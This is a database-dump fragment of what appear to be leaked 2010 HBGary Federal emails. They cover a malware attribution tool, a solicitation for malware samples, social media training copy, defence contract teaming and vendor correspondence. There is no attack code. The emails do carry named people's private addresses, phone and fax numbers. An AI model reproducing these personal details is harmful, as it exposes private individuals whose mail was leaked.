-----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, July 19, 2010 3:03 PM\r\n> To: Hibbeln, Brian, Mr, OSD-ATL\r\n> Cc: Tubbs, Gregory [Ctr]; Lachow, Irving Mr OSD ATL\r\n> Subject: Re: Invitation: Brian Hibbeln\r\n> \r\n> Brian,\r\n> \r\n> Thank you.  Love to hear what is discussed.\r\n> \r\n> BTW, we are releasing a fingerprint tool at Blackhat on the 28th, we are\r\n> open sourcing this tool for all to use.  This tool pulls key environmental\r\n> variables out of malware which can be correlated as illustrated in the graph\r\n> below.  An idea for a JCTD next year might be to take this tool, our volume\r\n> malware processor, open source and intelligence data and build threat\r\n> models.  I think this combination we can really make some inroads on\r\n> attribution.  Between HBGary + SecDev + Palantir I think we can make this\r\n> happen.\r\n> \r\n> The graph attached represents 3000 malware samples.  Notice the clustering\r\n> of different malware samples by similarity in development environments. With\r\n> this data if we can associate open source or intel data to one in a cluster\r\n> we can start to make associations to all of them in the cluster.  More\r\n> research needs to be done but I think this could be big.\r\n> \r\n> Just some thoughts.\r\n> \r\n> Aaron\r\n> \r\n',12102,'aaron_hbgary_com/12102.html'),(8828,'2010-07-19','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006731.M693077P14101Q3683.eml','\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>','COIN Workshare','\r\n\r\n\r\n\r\n\r\nCOIN Workshare\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, July 20, 2010 3:00 PM-4:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Chris\' Office (WF1 Suite 135)\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nWe need to have a discussion on HBGary&#8217;s role once the RFP has hit and beyond.\r\n\r\n&nbsp; \r\n\r\nThanks,\r\n\r\nChris \r\n\r\n\r\n',9153,'aaron_hbgary_com/9153.html'),(8829,'2010-07-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006731.M910521P14101Q3684.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Help me solve the attribution problem','Stan is very helpful.---------- Forwarded message ----------From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: Mon, Jul 19, 2010 at 2:09 PMSubject: Re: Help me solve the attribution problemTo: stan potter &lt;stan.potter@gmail.com&gt;Please do, thanks Stan. \r\nOn Jul 19, 2010, at 2:08 PM, stan potter &lt;stan.potter@gmail.com&gt; wrote:\r\nTed,Would you mind if I shared your message with a few colleagues who are in a better position than I am to respond?StanOn Fri, Jul 16, 2010 at 7:22 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n\r\nGreetings from Colorado Springs,I am sending this request to a small group of individuals that I personally know, and who I think may be able to help.  Please do not forward this email to third parties without my prior approval.  HBGary is working hard to solve the attribution problem.  We have developed a cutting-edge fingerprint tool which extracts toolmarks left behind in malware executables.  We use these toolmarks to cluster exploits together which were compiled on the same computer system or development environment.  Notice the clusters in the graphic below.  These groupings illustrate the relationships between over 3000 malware samples. The tighter the shotgroup, the higher the confidence that those samples were compiled by the same individual or group.\r\n\r\n\r\n\r\n\r\n\r\nYou can help me solve the attribution problem by providing malware samples from your organization or your customers organizations which have been used in actual exploit attempts.  I am especially interested in APT malware samples, but welcome any specimens that you can provide.  \r\n\r\n\r\n\r\nPlease send malware samples in a password protected zip file.  Provide the password via phone 719-237-8623 or fax to: 720-836-4208 (please be sure to include the name of the zip file).  We are briefing this technology at Blackhat, so we need your samples as soon as possible, and would appreciate it if you would treat this information as sensitive.  Samples provided will not be shared with third parties and your participation will be held in strict confidence.\r\n\r\n\r\n\r\n\r\n\r\nIn exchange for your help, I will provide you with a free summary report of our findings (which you may share with your customers who provided samples) and you will have made a significant contribution to securing America&#39;s networks. \r\n\r\n\r\n\r\nPlease feel free to contact me if you have any questions or would like to learn more about this technology.Regards,\r\n\r\nTed -- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n-- Stan PotterEmerging Technologies LeadNCSC Trusted Computing Division(240) 373-4093\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',14978,'aaron_hbgary_com/14978.html'),(8830,'2010-07-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006732.M111300P14101Q3685.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Better?','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nMuch better, thanks\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, July 19, 2010 9:52 AM\r\nTo: Penny Leavy\r\nSubject: Better?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nSocial\r\nmedia has become part of the fabric of how we communicate and collaborate as a\r\nsociety.&nbsp; The rise of the social web, and convergence of related technologies\r\n(e.g., mobile, location based services), has enabled faster information sharing\r\nand feedback cycles across a global audience.&nbsp; By nature of their use, social\r\nmedia services contain significant amounts of personally identifiable\r\ninformation (PII).&nbsp; Given the ease and speed of use, they also present a\r\nsignificant risk of unauthorized disclosure of intellectual property or other\r\nsensitive information.&nbsp; Much of this information is innocuous within a single\r\nservice but when aggregated with other open source social media services can\r\nexpose information people and organizations would consider sensitive.\r\n\r\nWith\r\nthe exploding number of users of social media services, it is a fact that\r\nfamily, friends, customers, prospects, partners, suppliers, constituents,\r\ncitizens, competitors and adversaries are all participating, intermingled in\r\nthese same services.&nbsp; Given the breadth of participation and the potential\r\nbenefits, enterprises and government agencies are beginning to leverage social\r\nmedia for efficiency and productivity, however are anxious of the inherent\r\nrisks in their use.&nbsp; Currently there doesn&#8217;t exist comprehensive social media\r\nfamiliarization training or information exposure monitoring services to help\r\norganizations train their employees on the risks related to social media and to\r\nmonitor for points of information exposure that reach across platforms.&nbsp; As an\r\nexample, based on a linked in profile someone might list that they are in\r\nmergers and acquisitions for a particular company.&nbsp; If I monitor that persons\r\nfriends lists across social media platforms someone may be able to make\r\npredictions on corporate acquisitions.&nbsp; Or if I heavily monitor professional\r\nsocial media services someone might be able to make personal associations to\r\nprograms based on watching contract award sites, job postings, and correlating\r\nto personal position changes.&nbsp; And the amount of information exposure only gets\r\nbroader as location based services become more prominate and you can watch\r\nvirtually people travel across the country, watch what airlines they use,\r\nhotels they stay in, company locations they frequent.&nbsp; Understanding when and\r\nwhere to use these services becomes critical.&nbsp; Used improperly even in our\r\npersonal lives could have unintended consequences when aggregated across\r\nmultiple services.\r\n\r\nOur\r\ntraining covers the direction of the social web, describes effective uses and\r\nthe risks of information exposure to people and organizations as well as run\r\nthrough some use cases demonstrating the ease of acquiring sensitive\r\ninformation by crawling and correlating social media information, including\r\nlive demonstrations of social media reconnaissance.&nbsp; After understanding the\r\nmain areas of risk to an organization regarding use of social media, will we provide\r\nmitigation techniques covering people, process and technology.&nbsp; By managing\r\nthese risks, organizations can more comfortably gain the value of these sites,\r\nwhile protecting the organization and its sensitive information, whether\r\npersonally identifiable or intellectual property-based.&nbsp; Attendees will gain\r\nknowledge doing risk assessments of social media use, risks and mitigation\r\ntechniques for social media use to prepare for more appropriate adoption.&nbsp; \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9224,'aaron_hbgary_com/9224.html'),(8831,'2010-07-19','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297006732.M385462P14101Q3686.eml','\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,aaron@hbgary.com,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','RE: EXTERNAL:','All:\r\nWe need to have Ray there.  \r\nThis is a high priority for the BU and I will move my calendar to accommodate.  Please work with Irene to get this set up.\r\n\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Heider, Raymond A (TASC) \r\nSent: Monday, July 19, 2010 2:59 PM\r\nTo: Clair, Chris (TASC); Pisani, Albert A. (TASC); \'aaron@hbgary.com\'\r\nCc: Lovegrove, John (TASC); Garcia, Kathy (TASC)\r\nSubject: Re: EXTERNAL:\r\n\r\nI should be at meeting also. I know the Div Chief well. He is the Big Boss and we have discussed his. View of media ops. \r\nRay\r\n\r\n----- Original Message -----\r\nFrom: Clair, Chris (TASC)\r\nTo: Pisani, Albert A. (TASC); \'Aaron Barr\' \r\nCc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Garcia, Kathy (TASC)\r\nSent: Mon Jul 19 13:00:22 2010\r\nSubject: RE: EXTERNAL:\r\n\r\nHi Al,\r\n\r\nWe are currently working on defining the positions for key folks we want on COIN.  We expect to get the reqs posted by end of the month.  \r\n\r\nBy the way, Aaron and I thought it a good idea for you to visit the customer who has the COIN mission.  What are your availabilities for the next week or two?  Additionally, who else do you think should attend?\r\n\r\nSince Aaron has communications with the customer, I defer to him to arrange the meeting.  He also wants to pre-brief you on some of the mission intricacies.  \r\n\r\nWe spoke to Google and Apple last week.  They both agreed to be on our team!  I love this kind of innovation.\r\n\r\nOur team consists of:\r\n\r\n - TASC (PMO, creative services)\r\n - HB Gary (Strategy, planning, PMO) \r\n - Akamai (infrastructure)\r\n - Archimedes Global (Specialized linguistics, strategy, planning)\r\n - Acclaim Technical Services (specialized linguistics)\r\n - Mission Essential Personnel (linguistic services)\r\n - Cipher (strategy, planning operations)\r\n - PointAbout (rapid mobile application development, list of strategic partners)\r\n - Google (strategy, mobile application and platform development - long list of strategic partners)\r\n - Apple (mobile and desktop platform, application assistance -long list of strategic partners)\r\n\r\nWe are trying to schedule an interview with ATT plus some other small app developers. \r\n\r\n\r\nWe, truly have the team to beat on this!\r\n\r\nLet me know if you need more info.\r\n\r\nThanks,\r\n\r\nChris Clair\r\n\r\n-----Original Message-----\r\nFrom: Pisani, Albert A. (TASC) \r\nSent: Thursday, July 15, 2010 2:52 PM\r\nTo: Aaron Barr; Clair, Chris (TASC)\r\nCc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Garcia, Kathy (TASC); Ted Vera\r\nSubject: RE: EXTERNAL:\r\n\r\nAaron:\r\n\r\nThis is excellent news.\r\n\r\nAll - What progress has been made in identifying and capturing key folks that are currently in place supporting the customer?\r\n\r\nThanks.\r\n\r\nAL\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, July 15, 2010 2:25 PM\r\nTo: Clair, Chris (TASC)\r\nCc: Heider, Raymond A (TASC); Lovegrove, John (TASC); Pisani, Albert A. (TASC); Garcia, Kathy (TASC); Ted Vera\r\nSubject: EXTERNAL:\r\n\r\nCoin update.\r\n\r\nI had good conversations with Mary beth, John, and Marek today.  I\r\nchided them a bit for not getting the rfp out and they said it looks\r\nlike they will be able to get it out in august.  John is still very\r\ndissatisfied with current work and said they need some of the\r\ninnovation like they used to have.  :)\r\n\r\nWe talked a lot about mobile and social media and the quickly changing\r\nlandscape.\r\n\r\nBased on wonderful meetings yesterday and today and our strategy/team\r\ni think we are the team to beat.  I talked to John about general\r\ncapabilities I think his shop needs and he agreed.  This fits right in\r\nour strategy.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n',3052,'aaron_hbgary_com/3052.html'),(8832,'2010-07-19','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006732.M665046P14101Q3687.eml','\"Barr Aaron\" <aaron@hbgary.com>','Re: HBGary follow up','Do you have a draft slick developed for the social media training that we can forward to Brian?  If not, can you please resend the outline for the training, I can&#39;t find it.Thanks,Ted\r\nOn Wed, Jul 14, 2010 at 3:17 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nHi Brian,Sorry I haven&#39;t reached out to you yet, I forwarded your information along to Aaron Barr (cc&#39;d) who developed our social media training.  Perhaps we could schedule a telecon between the three of us to discuss your needs?  Are you available this Friday at 1pm Eastern time?\r\n\r\nRegards,TedOn Wed, Jul 14, 2010 at 3:12 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\nHi BrianChecking in to see if you need help with your evaluation, and to confirm if you heard from Ted about the training?\r\n\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',9477,'aaron_hbgary_com/9477.html'),(8833,'2010-07-19','\"AFCEA DC Events\" <events@afceadc.org>','/aaron@hbgary.com/new/1297006732.M902980P14101Q3688.eml','aaron@hbgary.com','The 2010-2011 AFCEA DC Monthly Luncheon Series - Call for Corp Table Holders','\r\n\r\n\r\nAFCEA DC Monthly Luncheon\r\n\r\n\r\n\r\n\r\n\r\n\r\n   \r\n    \r\n     \r\n        View \r\n          pics from\r\n          Cybersecurity\r\n          Symposium\r\n          on July 8\r\n      \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          AFCEA \r\n            DC Home\r\n          News\r\n          Calendar\r\n          About \r\n            AFCEA DC\r\n        \r\n      \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          Call \r\n              for Corporate Table Holders at\r\n              AFCEA DC\'s Monthly Lunchoen Series\r\n            First \r\n              Luncheon Features an Incredible Army Panel &amp;\r\n              our Annual Awareness Luncheon for the NSC\r\n            AFCEA \r\n              DC is once again kicking off the Luncheon Season with a bang! Sign-up \r\n              your company to sponsor a table for the 2010-2011 Season, and earn \r\n              year-long benefits while taking full advantage of the first luncheon \r\n              in September - an incredible Army Panel plus annual awareness for \r\n              the National Science Center (NSC). The networking is always terrific \r\n              at this event, and the cause of STEM Education is an important one \r\n              to our community, our Military, and our Country.\r\n            www.afceadc.org/monthly-luncheons\r\n            1st \r\n              Luncheon: \r\n              Army Flag &amp; SES Panel\r\n              Plus Awareness Luncheon for the NSC\r\n              Sept 27, 2010 - Ritz Carlton, Pentagon City\r\n            Luncheon \r\n              Theme: \r\n              Leveraging Commercial Technologies for the Army\'s Future\r\n            Speakers:\r\n            \r\n                \r\n                LTG Jeffrey Sorenson, Army CIO/G6 - Moderator\r\n              MG \r\n                Nick Justice, Commanding General, RDECOM\r\n              MG \r\n                Mark Bowman, Director of Architecture, Operations, Networks \r\n                and Space\r\n              BG \r\n                Lee Price, PEO C3T\r\n              MG \r\n                (P) Rhett Hernandez, Commander, ARFORCYBER (invited)\r\n              Mr. \r\n                Gary Winker, PEO EIS\r\n              COL \r\n                John Morrison, Director, LandWarNet/Battle Command G-3/5/7\r\n            \r\n             CALL \r\n              FOR CORPORATE TABLE HOLDERS\r\n            AFCEA \r\n              DC is kicking off its annual Monthly Luncheon Corporate \r\n              Table Holder Drive with this first exciting Army program \r\n              and many more such events to come..\r\n            Register \r\n              Online for your Company\'s sponsorship, and \r\n              have a reserved table every month at our 9-month Luncheon Series \r\n              (Starting with September 27, and running through June 2011, \r\n              with a break in December for the Winter Gala). Signing-up \r\n              online is your act of commitment for the table, and you can choose \r\n              to pay instantly by credit card or manually by check.\r\n            The \r\n              AFCEA DC Luncheon Series is an outstanding networking opportunity \r\n              for the defense, intelligence, and homeland security communities \r\n              each month. If you are looking to understand trends in DoD Programs \r\n              and Management, find industry Partners, or hire talented employees... \r\n              You should be at AFCEA DC every month.\r\n            We \r\n              have another exceptional program/speaker line-up slated for this \r\n              year, including:\r\n            \r\n               \r\n                Army Panel &amp; National Science Center (NSC) Awareness luncheon \r\n                - Sept 27\r\n              Navy \r\n                panel - Oct 22\r\n              DHS \r\n                panel - Nov 22\r\n              DISA \r\n                panel - Jan TBD\r\n              Air \r\n                Force panel - Feb TBD\r\n              Intelligence \r\n                Community panel - Mar TBD\r\n              Health \r\n                IT panel - Apr TBD\r\n              Joint \r\n                Service panel &amp; Spring Leadership Awards - May 20\r\n              Annual \r\n                scholarship luncheon - Jun TBD\r\n            \r\n            Benefits \r\n              to AFCEA DC Season Corporate Table Holders include:\r\n            \r\n              Reserved \r\n                table and seating for up to SIX of your employees at every monthly \r\n                luncheon of the AFCEA DC Series for full table holders (Up to \r\n                THREE seats for half-tables);\r\n              A \r\n                guaranteed seat to hear the most relevant military officers &amp; \r\n                SES executives brief on the programs and opportunities they oversee;\r\n              Government \r\n                attendees (potential clients) seated at your table first (all \r\n                government luncheon guests placed randomly by AFCEA DC, for ethical \r\n                reasons);\r\n              Your \r\n                corporate logo featured prominently on the AFCEA DC website -- \r\n                visited by thousands of potential clients and partners each year;\r\n              Your \r\n                corporate logo prominently displayed on your table at each monthly \r\n                luncheon;\r\n              Your \r\n                support listed on a flier at every chair at the Luncheon -- all \r\n                attendees will know you are AFCEA DC\'s partner;\r\n              Your \r\n                support listed on dozens of emails broadcast to thousands of DC \r\n                area professionals - sent to the entire AFCEA DC database each \r\n                month\r\n              An \r\n                invitation to purchase advance tickets to the AFCEA DC Winter \r\n                Gala, Spring Gala, and other special events that may be planned \r\n                this year. These events are almost always sold-out, so advance \r\n                tickets are a must.\r\n            \r\n            Generous \r\n              Companies who ALSO Sponsor the NSC Event, get added benefits:\r\n            \r\n              Your \r\n                corporate logo on the NSC Event Website\r\n              Your \r\n                corporate logo on the NSC Event Program\r\n              Your \r\n                Corporate Name in all marketing emails and materials for the NSC \r\n                Event\r\n              Your \r\n                Corporate Logo on the Screen running during the NSC Event\r\n              Prominent \r\n                Placement of your Table at the NSC Event, closer to the podium\r\n              All \r\n                of the benefits of the regular Corporate Table-Holders listed \r\n                above \r\n              Knowledge \r\n                that you are supporting a very important cause, near and dear \r\n                to the hearts of those in attendance: Keeping America \r\n                Strong by ensuring that our citizens and future leaders are competitive \r\n                in Math &amp; Science.\r\n            \r\n            Corp \r\n              Table Sponsorships:\r\n            \r\n              $5,000 \r\n                - Full Corp Table Only for the year (6 seats each month @ 9 lunches)\r\n              $2,500 \r\n                - Half Corp Table Only for the year (3 seats each month @ 9 lunches)\r\n            \r\n            NSC \r\n              Sponsorships:\r\n            \r\n               \r\n                 $1,000 - Sponsorship of NSC\r\n              $500 \r\n                - Small Business Sponsorship of NSC\r\n                (you must have less than 150 employees) \r\n            \r\n            Register \r\n              for your Corp Table and NSC Sponsorship Online Now\r\n              (Signing-up \r\n              online for the table is your act of commitment; you can select to \r\n              pay by credit card or check) \r\n              \r\n            \r\n            FY2009-2010 \r\n              AFCEA DC Corporate Table Holders:\r\n              Be Sure to Join Your Colleagues who have \r\n              been supporting AFCEA DC ! \r\n            \r\n               \r\n                Multiple \r\n                    Table Sponsors\r\n              \r\n               \r\n                \r\n                    General Dynamics\r\n                    \r\n                    \r\n                \r\n                    Northrop Grumman\r\n              \r\n               \r\n                 \r\n                     SAIC\r\n                      \r\n                      \r\n                    \r\n              \r\n               \r\n                Full \r\n                    Table Sponsors\r\n              \r\n               \r\n                \r\n                    Apptis\r\n                    BAE Systems\r\n                    Booz Allen Hamilton\r\n                    Brocade\r\n                    CACI\r\n                    CGI Federal\r\n                    Computer Sciences Corporation\r\n                    General Dynamics\r\n                    General Dynamics Information Technology\r\n                    Google\r\n                    GTSI\r\n                    Harris\r\n                    Hitachi Data Systems \r\n                    \r\n                    \r\n                \r\n                    HP\r\n                    immixGroup\r\n                    Lockheed Martin\r\n                    ManTech International\r\n                    Microsoft\r\n                    Network Security Systems Plus\r\n                    Northrop Grumman\r\n                    Northrop Grumman\r\n                    Qwest Government Services\r\n                    SAIC\r\n                    SAIC\r\n                    SAIC \r\n                    Verizon Business\r\n              \r\n               \r\n                Half-Table \r\n                    Sponsors\r\n              \r\n               \r\n                 \r\n                    \r\n                      Accenture\r\n                      Adobe Systems\r\n                      AT&amp;T\r\n                      Ball Aerospace &amp; Technologies\r\n                      Business Growth Associates\r\n                      CA\r\n                      Capgemini Government Solutions\r\n                      CapRock Government Solutions\r\n                      Ciena\r\n                      Cisco\r\n                      CPS Professional Services\r\n                      Deloitte\r\n                      Distributed Solutions\r\n                      DSA\r\n                      GovDelivery\r\n                      Grant Thornton\r\n                      IBM - Tivoli Federal\r\n                      Inmarsat Government Services\r\n                      ITT Corporation\r\n                      Juniper Networks\r\n                      Knightfork\r\n                      L-3 Enterprise IT Solutions\r\n                      Level 3 Communications\r\n                      \r\n                      \r\n                      \r\n                  \r\n                 \r\n                    \r\n                       LGS Innovations\r\n                      NetApp\r\n                      Nortel Government Solutions\r\n                      QinetiQ North America\r\n                      GuardianEdge\r\n                      Quest Software Public Sector\r\n                      Qwest Government Services\r\n                      Raytheon\r\n                      RightNow Technologies\r\n                      Riverbed Technology\r\n                      SAP Public Services\r\n                      Scitor Corporation\r\n                      Segovia\r\n                      Sprint\r\n                      SRA International\r\n                      SRI International\r\n                      Suss Consulting\r\n                      TechTeam Government Solutions\r\n                      Terremark Federal Group\r\n                      Truestone\r\n                      Trusted Computer Solutions\r\n                      Ultra Electronics-Criticom\r\n                      Vangent\r\n                      ZAI Solutions\r\n                      \r\n                    \r\n              \r\n            \r\n            Shouldn\'t \r\n              Your Company Be Listed This Year?\r\n            To \r\n              reserve your Corporate Table for the remainder of the luncheon season,\r\n              Sign-up \r\n              online.\r\n              \r\n            \r\n            \r\n        \r\n      \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n             \r\n              Armed Forces Communications and Electronics Association, \r\n\r\nWashington, \r\n              D.C. Chapter\r\n              1220 \r\n              L St., NW, Suite 100-407, Washington, D.C. 20005-4018\r\n              info@afceadc.org&nbsp;&nbsp; \r\n              |&nbsp;&nbsp; tel: 202-701-5808&nbsp;&nbsp; |&nbsp;&nbsp; fax: 202-330-5012\r\n            \r\n            \r\n        \r\n        \r\n          \r\n              Management and Events Planning by:\r\n              CAPLEAD | info@caplead.com. \r\n            \r\n        \r\n      \r\n  \r\n\r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',8748,'aaron_hbgary_com/8748.html'),(8834,'2010-07-19','\"Brian Coulson\" <bcoulson@digitalglobe.com>','/aaron@hbgary.com/new/1297006733.M139399P14101Q3689.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: HBGary follow up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n&nbsp;\r\n\r\nHi! My apologies for just now getting back to you! I have been\r\nunavailable until now.\r\n\r\n&nbsp;\r\n\r\nI&#8217;m fairly open this week and next. Please let me know a good\r\ntime that we can get together.\r\n\r\n&nbsp;\r\n\r\nThank you!\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\nBrian Coulson\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Wednesday, July 14, 2010 3:18 PM\r\nTo: Brian Coulson\r\nCc: Barr Aaron; Maria Lucas\r\nSubject: Re: HBGary follow up\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Brian,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSorry I haven\'t reached out to you yet, I forwarded your\r\ninformation along to Aaron Barr (cc\'d) who developed our social media training.\r\n&nbsp;Perhaps we could schedule a telecon between the three of us to discuss\r\nyour needs? &nbsp;Are you available this Friday at 1pm Eastern time?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Wed, Jul 14, 2010 at 3:12 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\nHi Brian\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nChecking in to see if you need help with your evaluation,\r\nand to confirm if you heard from Ted about the training?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n\r\n\r\n\r\n\r\n\r\nThis electronic communication and any attachments may contain confidential and proprietary \r\ninformation of DigitalGlobe, Inc. If you are not the intended recipient, or an agent or employee \r\nresponsible for delivering this communication to the intended recipient, or if you have received \r\nthis communication in error, please do not print, copy, retransmit, disseminate or \r\notherwise use the information. Please indicate to the sender that you have received this \r\ncommunication in error, and delete the copy you received. DigitalGlobe reserves the \r\nright to monitor any electronic communication sent or received by its employees, agents \r\nor representatives.\r\n\r\n\r\n\r\n',2864,'aaron_hbgary_com/2864.html'),(8835,'2010-07-19','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006733.M367897P14101Q3690.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Consortium for Fingerprinting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDamballa,\r\n\r\nEnd Games\r\n\r\nNetwitness\r\n\r\nFidelus\r\n\r\nMcAfee/Foundstone\r\n\r\nSymantec\r\n\r\nPwC\r\n\r\nAccenture\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nAre probably people we can get with little effort.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12232,'aaron_hbgary_com/12232.html'),(8836,'2010-07-19','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297006735.M760576P14101Q3691.eml','aaron@hbgary.com,aaron@hbgary.com','NDA with DMI','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron-\r\n\r\n&nbsp;\r\n\r\nThanks again for the time today&#8230;very impressive story,\r\nand even more impressive story-teller!&nbsp; Bill and I look forward to working\r\nwith you on this TSA opp, and of course other opps.&nbsp; I&#8217;ve got\r\ncustomers at DOT, Treasury, OMB, GSA, and HHS that we can setup meetings for\r\nover the next few weeks in the short term.\r\n\r\n&nbsp;\r\n\r\nAttached is the NDA.&nbsp; I can get the TA out tomorrow\r\nlater in the day (have to physically hunt down signatures on our end).\r\n\r\n&nbsp;\r\n\r\nPlease reach out to Bill or I if you have any questions on\r\nthis doc.\r\n\r\n&nbsp;\r\n\r\nThanks, \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS - GSA IT 70 - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n240-223-4800 main\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12680,'aaron_hbgary_com/12680.html'),(8837,'2010-07-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006736.M115505P14101Q3692.eml','\"Ted Vera\" <ted@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: NDA with DMI','Good connection.Sent from my iPadBegin forwarded message:From: John Fanguy &lt;jfanguy@digitalmanagement.com&gt;\r\nTo: &quot;aaron@hbgary.com&quot; 